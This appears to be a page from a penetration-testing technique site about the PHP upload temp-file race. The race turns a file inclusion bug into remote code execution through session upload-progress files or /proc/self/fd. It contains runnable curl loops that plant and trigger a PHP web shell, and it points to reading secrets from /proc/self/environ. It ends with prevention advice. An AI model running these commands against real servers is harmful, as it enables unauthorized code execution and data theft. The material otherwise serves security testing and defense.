The Temp-File Race
PHP writes every upload to a temp file before the application sees it — including uploads the application then rejects. Include it during the window and the rejection never happened.
The window
PHP handles multipart uploads before a single line of application code runs. The body is parsed, the file is written to upload_tmp_dir (usually /tmp), and $_FILES is populated. Only then does the application get to decide whether it wants the file.
So an upload feature that rejects everything — wrong extension, wrong MIME type, too large, not an image, no upload endpoint at all — has still written your bytes to disk. PHP deletes the temp file at the end of the request, but for the duration of that request it exists.
With an inclusion bug you do not need the application to accept the upload. You need to include the temp file before the request that created it finishes.
The name is random
PHP names the file /tmp/php followed by six characters from [A-Za-z0-9]. That is 62^6 — about 56 billion — and you cannot brute-force it inside a request window.
There are three ways round it, in increasing order of reliability.
Read the directory. If any sink will list /tmp, the name is not a secret. glob:// does this in PHP, but include() cannot consume a directory stream, so you need a second sink — scandir(), opendir(), or a template engine that will iterate a glob.
Use /proc/self/fd/. The worker has the temp file open, so it is reachable by descriptor without knowing the name. The descriptor number is small and brute-forceable in a handful of requests — see /proc, environ, and File Descriptors. This is the most reliable variant.
Use PHP_SESSION_UPLOAD_PROGRESS instead. This sidesteps the naming problem entirely: the payload lands in the session file, whose name is your own session ID. Same race, known filename. See Session Poisoning.
Running the race
# The shape: one slow request that keeps the temp file alive, and a flood
# of fast requests trying to include it.
# Thread A — a large multipart upload sent slowly. The temp file exists for
# as long as PHP is still reading the body.
curl -s 'https://target.example/' \
-F 'PHP_SESSION_UPLOAD_PROGRESS=<?php system($_GET["cmd"]); ?>' \
-F 'file=@bigfile.bin' \
--limit-rate 4k &
# Thread B — hammer the include against the session file, whose name you
# know. Run this in a loop for the duration of the upload.
for i in $(seq 1 500); do
curl -s -b "PHPSESSID=$SID" \
"https://target.example/index.php?page=/var/lib/php/sessions/sess_$SID&cmd=id" \
| grep -q uid= && { echo "hit on $i"; break; }
done
# --limit-rate is what makes this practical. A 50MB body at 4KB/s keeps the
# window open for hours rather than milliseconds, which turns a genuine race
# into a leisurely one. Size the file to the window you need.The descriptor variant
# When you cannot use the session route — no file sessions, or
# session.upload_progress.enabled=Off — go through /proc/self/fd instead.
# The worker holds the temp file open while parsing the body, so it appears
# as a descriptor. Numbers are low; enumerate them.
for fd in $(seq 3 30); do
curl -s "https://target.example/index.php?page=/proc/self/fd/$fd&cmd=id" \
| grep -q uid= && echo "fd $fd"
done
# Two caveats that make this harder than it looks:
#
# 1. /proc/self is the process doing the READING — the worker handling the
# include request, not the one handling the upload. Under PHP-FPM these
# are usually different workers. You need the include to land on the same
# worker, which is a matter of concurrency and luck.
#
# 2. Descriptor numbers are not stable between requests.
#
# This is why the session route is preferred when it is available: same
# race, no cross-process problem.What has to be true
- The sink executes. A read-only sink gives you your own payload back, which proves the race and nothing else.
file_uploads=On. The default. Off removes the whole technique.- You can send a multipart body to something. It does not have to be an upload endpoint. PHP parses the body on any POST with the right content type, so any POST-accepting URL will do — a login form, a search, an API route.
- Concurrency. You need to be able to run the two threads simultaneously. Behind a rate limiter this gets much harder.
- For the fd variant, the same worker. See above.
The rating is AC:H because of the race itself. When it works it is full code execution, but it is not a single deterministic request and a report should say so.
A word on noise
This is the loudest technique on this site. A successful attempt means hundreds or thousands of requests, a large upload, and a burst of concurrency — all of which look exactly like an attack in any log or WAF.
On an authorized engagement, agree it in advance. It can trip rate limiting and, with a large enough body, fill /tmp on the target, which is a genuine availability risk rather than a theoretical one. Size the upload deliberately and check the disk situation first.
If you only need to prove the finding rather than exploit it, the filter chain is a single quiet request and demonstrates the same impact. Reach for this one when the filter chain is unavailable — a prepended directory, an appended extension — not as a first move.
Prevention
- Allowlist the include parameter. The temp file is not the bug. See Defense in Depth.
open_basedirexcluding/tmpand the session directory. Effective against every variant here, and cheap.session.upload_progress.enabled=Offif you do not use it, which removes the easiest variant.- A dedicated
upload_tmp_diroutside any path the application can reach, combined withopen_basedir. - Rate limiting raises the cost of the race considerably. It is not a fix, but it converts a reliable technique into an unreliable and very visible one.
Related
The session file is a file you can write to, whose path you already know, in a directory the worker can definitely read. It is the log-poisoning technique without the permission problem.
An upload feature that rejects .php files still lets you put bytes on disk. zip:// and phar:// reach inside the archive you uploaded, and neither is governed by any allow_url flag.
In a containerised deployment the secrets are in the environment, not the config file. /proc/self/environ is one traversal away and is frequently the whole engagement.
Stack enough iconv conversions and php://filter stops reading files and starts producing them. A read-only primitive becomes code execution on a completely stock php.ini — no upload, no writable directory, no outbound connection.
One fix works and the rest are mitigations. Knowing which is which is the difference between a remediation that holds and a config change that gets reported again next year.